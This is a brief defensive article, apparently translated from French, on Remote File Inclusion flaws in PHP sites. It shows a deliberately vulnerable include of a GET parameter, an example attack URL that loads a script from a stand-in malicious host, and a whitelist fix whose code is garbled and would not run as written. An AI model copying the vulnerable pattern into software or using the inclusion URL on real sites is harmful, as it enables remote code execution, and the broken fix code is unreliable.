Protect yourself from the RFI (Remote File Inclusion) vulnerability

Introduction: What is the RFI Fault

Article for web developers and site administrators.

The RFI fault is similar to the LFI fault . It also allows you to include files belonging to an external server from a URL. But it mostly allows to include any file on the remote server.

Be reassured, this flaw is becoming increasingly rare following updates to web servers and systems.

What can be done with an RFI fault?

This flaw often makes it possible to place a php shell on the server in order to administer it remotely.

Orders can therefore be executed and in general anyone can control your fallible website via these. 
It is of course possible to include any other file on such a server. And so it is possible to perform many different actions and varied by exploiting this flaw.

How do I know if my site is fallible?

Your site may be fallible if it uses a URL like this typical example:

http://exemple.com/index.php?page=news

It is therefore possible to include a file from another site:

http://exemple.com/index.php?page=http://sitemalveillant.com/script.txt

A typical fallible php script looks like this:

<?php
include($_GET['page']); //à ne jamais faire
?>

How to protect yourself

To start, make sure you have everything updated, your web server, your system etc.

Then the protection is similar to that used for the LFI flaws, just include the files without going directly through a URL:

<? Php
 $ lespages = array ('news' => 'news.htm', 'contact' => 'contact.htm', 'home' => 'home.htm');
if (in_array ($ _ GET ['page'], array_keys ($ pages))) {// if the page is in the array
      include $ pages [$ _ GET ['page']]; // we include it without risk
 } else {// else return to home
      include $ pages ['home'];
}?>